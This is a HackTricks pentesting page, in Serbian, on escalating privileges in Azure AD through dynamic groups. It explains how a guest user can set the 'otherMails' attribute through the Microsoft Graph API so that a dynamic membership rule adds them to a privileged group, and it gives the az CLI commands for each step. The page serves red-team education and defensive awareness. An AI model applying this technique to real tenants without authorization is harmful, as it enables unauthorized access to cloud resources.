Az - Dynamic Groups Privesc

Reading time: 3 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Osnovne Informacije

Dynamic groups su grupe koje imaju set pravila konfigurisanih i svi korisnici ili uređaji koji se poklapaju sa pravilima se dodaju u grupu. Svaki put kada se atribut korisnika ili uređaja promeni, dinamička pravila se ponovo proveravaju. A kada se novo pravilo kreira, svi uređaji i korisnici se proveravaju.

Dinamičkim grupama se mogu dodeliti Azure RBAC uloge, ali nije moguće dodati AzureAD uloge dinamičkim grupama.

Ova funkcija zahteva Azure AD premium P1 licencu.

Privesc

Imajte na umu da po defaultu bilo koji korisnik može pozvati goste u Azure AD, tako da, ako dinamička grupa pravilo daje dozvole korisnicima na osnovu atributa koji se mogu postaviti kod novog gosta, moguće je kreirati gosta sa ovim atributima i escalirati privilegije. Takođe je moguće da gost upravlja svojim profilom i menja ove atribute.

Dobijte grupe koje omogućavaju dinamičko članstvo: az ad group list --query "[?contains(groupTypes, 'DynamicMembership')]" --output table

Primer

  • Primer pravila: (user.otherMails -any (_ -contains "security")) -and (user.userType -eq "guest")
  • Opis pravila: Bilo koji gost korisnik sa sekundarnim emailom koji sadrži string 'security' biće dodat u grupu

Za email gost korisnika, prihvatite pozivnicu i proverite trenutne postavke tog korisnika u https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView.
Nažalost, stranica ne dozvoljava modifikaciju vrednosti atributa, tako da moramo koristiti API:

bash
# Login with the gust user
az login --allow-no-subscriptions

# Get user object ID
az ad signed-in-user show

# Update otherMails
az rest --method PATCH \
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
--headers 'Content-Type=application/json' \
--body '{"otherMails": ["newemail@example.com", "anotheremail@example.com"]}'

# Verify the update
az rest --method GET \
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
--query "otherMails"

Reference

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks